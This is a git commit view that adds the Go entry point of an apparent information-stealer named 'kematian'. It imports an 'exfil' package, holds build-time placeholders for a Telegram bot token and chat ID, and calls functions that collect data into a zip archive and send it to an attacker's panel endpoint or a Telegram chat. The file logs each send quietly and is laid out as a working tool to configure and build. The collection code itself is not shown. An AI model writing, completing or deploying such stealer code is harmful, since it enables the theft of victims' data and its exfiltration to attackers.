initial commit
This commit is contained in:
@@ -0,0 +1,81 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/signal"
|
||||
"syscall"
|
||||
"time"
|
||||
|
||||
"recovery/recovery/exfil"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultTimeout = 120 * time.Second
|
||||
|
||||
// EMBEDDED CONFIG - Change these values before building
|
||||
|
||||
// Telegram fallback (leave placeholder to disable)
|
||||
defaultBotToken = "YOUR_BOT_TOKEN_HERE"
|
||||
defaultChatID = "YOUR_CHAT_ID_HERE"
|
||||
)
|
||||
|
||||
func logf(format string, args ...interface{}) {
|
||||
f, err := os.OpenFile("kematian.log", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer f.Close()
|
||||
msg := fmt.Sprintf(format, args...)
|
||||
fmt.Fprintf(f, "%s %s\n", time.Now().Format("2006-01-02 15:04:05"), msg)
|
||||
}
|
||||
|
||||
func main() {
|
||||
useTelegram := defaultBotToken != "" && defaultBotToken != "YOUR_BOT_TOKEN_HERE" && defaultChatID != "" && defaultChatID != "YOUR_CHAT_ID_HERE"
|
||||
usePanel := exfil.PanelEndpoint != ""
|
||||
|
||||
logf("kematian start: usePanel=%v useTelegram=%v endpoint=%q authSet=%v", usePanel, useTelegram, exfil.PanelEndpoint, exfil.PanelAuth != "")
|
||||
|
||||
if !useTelegram && !usePanel {
|
||||
return
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout)
|
||||
defer cancel()
|
||||
|
||||
sigChan := make(chan os.Signal, 1)
|
||||
signal.Notify(sigChan, os.Interrupt, syscall.SIGTERM)
|
||||
go func() {
|
||||
<-sigChan
|
||||
cancel()
|
||||
}()
|
||||
|
||||
result, zipData, counts, payloads, err := exfil.CollectResultAndZip(ctx)
|
||||
if err != nil {
|
||||
logf("collect failed: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
if usePanel {
|
||||
clientID := exfil.GenerateClientID()
|
||||
if err := exfil.SendToPanel(result, clientID, payloads...); err != nil {
|
||||
logf("panel send FAILED: %v", err)
|
||||
} else {
|
||||
logf("panel send OK clientId=%s payloads=%d", clientID, len(payloads))
|
||||
}
|
||||
}
|
||||
|
||||
if useTelegram {
|
||||
filename := "kematian_" + time.Now().Format("20060102_150405") + ".zip"
|
||||
cfg := exfil.TelegramConfig{
|
||||
BotToken: defaultBotToken,
|
||||
ChatID: defaultChatID,
|
||||
}
|
||||
if err := exfil.SendToTelegram(cfg, zipData, filename, counts); err != nil {
|
||||
logf("telegram send FAILED: %v", err)
|
||||
} else {
|
||||
logf("telegram send OK")
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user